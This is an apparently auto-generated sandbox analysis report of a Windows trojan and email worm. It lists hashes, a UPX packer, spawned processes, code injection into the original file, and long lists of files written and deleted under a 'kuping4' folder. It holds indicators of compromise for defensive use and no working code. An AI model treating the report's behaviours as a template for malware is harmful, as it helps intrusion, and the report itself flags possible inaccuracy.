Skip to main content

Trojan.Generic.11256692_8a3740ff1e


Trojan.Win32.Badur.htyo (Kaspersky), Trojan.Generic.11256692 (AdAware), mzpefinder_pcap_file.YR, GenericEmailWorm.YR (Lavasoft MAS)Behaviour: Trojan, Worm, EmailWorm

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 8a3740ff1eea52073cde0db49b0d398f

SHA1: 76974574f739cfbb0d80e2a5db2209f0e950bfa2

SHA256: 5d1b68e7ec358028619d4bd4f8621dfffb8ab1e0991fe5bcbc142832213fcdf5

SSDeep: 6144:SSOw/y4d67EgN0iC1bLY7coVYh4Nf9fG5 UmycGxHLLm4Yw7Ijz:SSOf4TgNJp3YOFNKIycGNvm4J70

Size: 376116 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6

Company: no certificate found

Created at: 2014-04-21 05:48:12

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

Behaviour Description
EmailWormWorm can send e-mails.


Process activity

The Trojan creates the following process(es):

kp4_Mini.exe:660
kuping_v4.exe:600
dwwin.exe:752
getnew.exe:1672
kuping_b_53390.exe:432

The Trojan injects its code into the following process(es):

%original file name%.exe:1196

File activity

The process kp4_Mini.exe:660 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\kuping4\Universal\UniversalMiniSkin\Mini.ico (1159 bytes)
C:\kuping4\softset.ini (370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_83.tmp (225 bytes)
C:\kuping4\Universal\UniversalMiniSkin\skinconfig.ini (89 bytes)
%Documents and Settings%\%current user%\My Documents\Universal\Universal.ini (237 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MI_89.tmp (1 bytes)
C:\kuping4\Universal\unrar.dll (185 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\bg.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\309d_appcompat.txt (20221 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RM_87.tmp (874 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CA_84.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MA_8B.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DI_8D.tmp (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\close.png (2 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\small.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\seach.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\skin.ini (822 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_86.tmp (213792 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\seach-btn.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\logo.png (4 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini (4 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CA_84.tmp (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach.png (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\close.png (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\small.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_86.tmp (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach-btn.png (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MI_89.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_8A.tmp (0 bytes)
C:\op_83.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_85.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_8F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RM_87.tmp (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\bg.png (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_83.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MA_8B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DI_8D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_88.tmp (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\logo.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_8C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_8E.tmp (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui (0 bytes)
C:\kuping4\Universal\UniversalMiniSkin (0 bytes)

The process kuping_v4.exe:600 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\kuping4\Update\soft.ini (1714 bytes)
C:\kuping4\softset.ini (736 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@config.wallba[1].txt (329 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_80.tmp (126 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
C:\kuping4\TempDownLoad\Home\11275.jpg_0 (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\Liveindex[1].htm (312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\stat[1].php (1163 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_81.tmp (2 bytes)
C:\kuping4\Kpclick.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_7F.tmp (631 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\core[1].php (800 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\stat[1].gif (43 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\DW_81.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_80.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_7F.tmp (0 bytes)
C:\kuping4\TempDownLoad\Home\11275.jpg_0 (0 bytes)

The process dwwin.exe:752 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\11373A.dmp (127725 bytes)

The process getnew.exe:1672 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\kuping4\Update\soft.ini (46 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DW_82.tmp (426 bytes)
C:\kuping4\Update\updatelog.ini (31 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\DW_82.tmp (0 bytes)

The process %original file name%.exe:1196 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\desktop.ini (67 bytes)
%Program Files%\kuping_b_53390.exe (37274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\desktop.ini (67 bytes)

The process kuping_b_53390.exe:432 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-screen.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\bg_focus.png (327 bytes)
C:\kuping4\skinConfig\ĬÈÏ\LocalManagement_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-6.png (210 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\management.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\computer.png (1568 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\aboutme-text.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\delete.png (960 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@img.wallba[1].txt (321 bytes)
C:\kuping4\TempDownLoad\Home\11272.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\image-bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\recover.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\update-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\button-skin-add.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\UploadImageLayer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\tick_fcous.png (714 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\min.png (338 bytes)
C:\kuping4\TempDownLoad\UserLive\tempfile\userlive.xml (480 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\notice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\cursor\right.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\1111.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\serch-bg.png (161 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_di.png (306 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\RegisterSkin.ini (693 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\¿áÆÁ4\¿áÆÁ4.lnk (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_block.png (95 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\update.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\blue.png (307 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\explain.png (559 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_02.png (523 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\scroll-bg.png (305 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SkinInfo.ini (19 bytes)
C:\kuping4\TempDownLoad\Home\11276.jpg (392 bytes)
C:\kuping4\kuping_v4.exe (5620 bytes)
C:\kuping4\Kp_BootClry.exe (1137 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\left-bck.png (1 bytes)
C:\kuping4\SystemConfig\setting.ini (255 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@config.153624[1].txt (191 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\MsgBox_1.ini (729 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\share.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\notice\notice.png (1 bytes)
C:\kuping4\Appsoftconfig\image\clear.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_02.png (791 bytes)
C:\kuping4\UniversalFunction.dll (4840 bytes)
C:\kuping4\Appsoftconfig\image\ielogo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\login_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg.png (283 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_01.png (784 bytes)
C:\kuping4\Uninstall\StartMenu.exe (24 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Conventional-set.png (988 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\attention.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-icon.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-pause.png (669 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-3.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\max.png (157 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\App.png (868 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\x.png (943 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\lijixiufu.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-2.png (1 bytes)
C:\kuping4\TempDownLoad\StartUp\tempfile\StartUp.xml (784 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_deck.png (175 bytes)
C:\kuping4\MSGBoxSkin\UI\stop_button.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttoncmd.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kp4.2flash_01.png (791 bytes)
C:\kuping4\Update\SkinResource\CheckUpdate.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Default-recovery_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\bg_02.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\center-line.png (128 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\collection.png (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig (4 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\bg.png (341 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\theme.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\Uninstall.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\cancel.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\close.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\album.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\UpDateMenu_Layer.ini (1 bytes)
C:\kuping4\MSGBoxSkin\MSGBoxSkin.ini (2 bytes)
C:\kuping4\MSGBoxSkin\UI\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-Screen-saver.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\bg_02.png (1765 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\mainsub.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\index[1].htm (750 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\progress.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÏ\MouseNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\search.png (681 bytes)
C:\kuping4\KPUpdater.dll (3439 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\smile.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\LZMA.dll (68 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\re-choice.png (371 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\help.png (633 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\home.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list_wallpaper.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\lefr_bg.png (194 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\h[1].js (5 bytes)
C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\ApplicationMenu_Layer.ini (3 bytes)
C:\kuping4\QuickenFunctionConfig\Management\status.ini (161 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\mainsub.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\newcreat-bg.png (171 bytes)
C:\kuping4\Update\SkinResource\Minimize.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\Modify-head.png (922 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\¿áÆÁ4.0flash_02.png (414 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\tick.png (227 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\TailorHeadImageLayer.ini (1 bytes)
C:\kuping4\TempDownLoad\Home\11273.jpg (588 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\sure_button.png (1 bytes)
C:\kuping4\KpInstallTheme.exe (1764 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\update-online_botton.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\silent_download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\newcreat-focus.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\progress_focus.png (190 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\focus.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\theme-max.png (1529 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\application\icon_focus.png (483 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\failRefresh.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\about\logo_s.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\add.png (392 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@img.wallba[2].txt (545 bytes)
C:\kuping4\skinConfig\ĬÈÏ\MenuSetConfig.ini (48 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-bg.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\MainSkin.ini (697 bytes)
C:\kuping4\Universal\Soft\softset.ini (78 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\cancel.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\tag.ini (205 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_02.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Personal-center.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\retry_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\cursor\left.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag-line.png (108 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notMulti.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\help_icon.png (730 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\error.png (544 bytes)
C:\kuping4\Universal\skinConfig.rar (980 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\silder.png (363 bytes)
C:\kuping4\VersionConfig.xml (1060 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notcheak.png (391 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\bg.png (1372 bytes)
C:\kuping4\getnew.exe (1960 bytes)
C:\kuping4\SpecialSubject.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\down.png (178 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\SkinCenter.ini (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (5880 bytes)
C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\loading.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\jindutiao.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\line.png (109 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\reg-btn.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\focus-bg.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\notchoose.png (879 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\aboutme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg1.png (258 bytes)
C:\kuping4\TempDownLoad\UserLive\version.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\application\scroll_thumb.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\install-button.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\Management\ManagementCommerce.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\white.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_03.png (421 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\delete.png (1 bytes)
C:\kuping4\info.ini (16 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\login_bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\log-bckhead.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\tui-chu.png (232 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\application.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\close.png (2 bytes)
C:\kuping4\Appsoftconfig\image\buttonclear.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\AppDlgConfig\MainDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\loading.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\advert.png (980 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÏ\NoticeDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\line_w.png (91 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\pro.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\SkinCenterDownload.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\notMulti.png (912 bytes)
C:\kuping4\skinConfig\ĬÈÏ\IconsFolderNavigation_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\loading.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\myBaoku.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\load.png (3 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\config.153624[1].xml (266 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\install_icon.png (971 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_7E.tmp (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\cover.png (109 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_win7.xml (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\title-bg.png (2 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\bg.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set.png (522 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\stat[1].gif (43 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\bg_nf.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cut_button-ato.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\kankan.png (1921 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin.png (629 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\green.png (324 bytes)
C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\bg_01.png (708 bytes)
C:\kuping4\MSGBoxSkin\UI\success.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\choose.png (883 bytes)
C:\kuping4\skinConfig\ĬÈÏ\Login_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\new-bg.png (274 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-5.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\news.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\upload_button.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg2.png (182 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\slice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\login\ui\bg.png (784 bytes)
C:\kuping4\TempDownLoad\Home\11279.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\meihua.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_thumb.png (744 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\list\page.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\about\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\application\scroll_block.png (763 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\notice-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateNetError.ini (633 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateDownloadPage.ini (592 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\bg1.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\city-about.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\menu_move.png (440 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\Label-input-box.png (258 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\open.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\uphead.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\home\HomeConfig.xml (1 bytes)
C:\kuping4\TempDownLoad\Home\Homeversion.ini (31 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\color\yellow.png (298 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\log-bck.png (543 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\danxuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\focus.png (142 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach-btn.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÏ\FeedbackDlgConfig\MainFeedbackDlg.ini (879 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\mail.png (263 bytes)
C:\kuping4\skinConfig\ĬÈÏ\newUi\Screen-saver.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag_focus.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÏ\WebContro.ini (529 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\logo.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÏ\ui\function.png (392 bytes)
C:\kuping4\softset.ini (2129 bytes)
C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\install_icon.png (971 bytes)
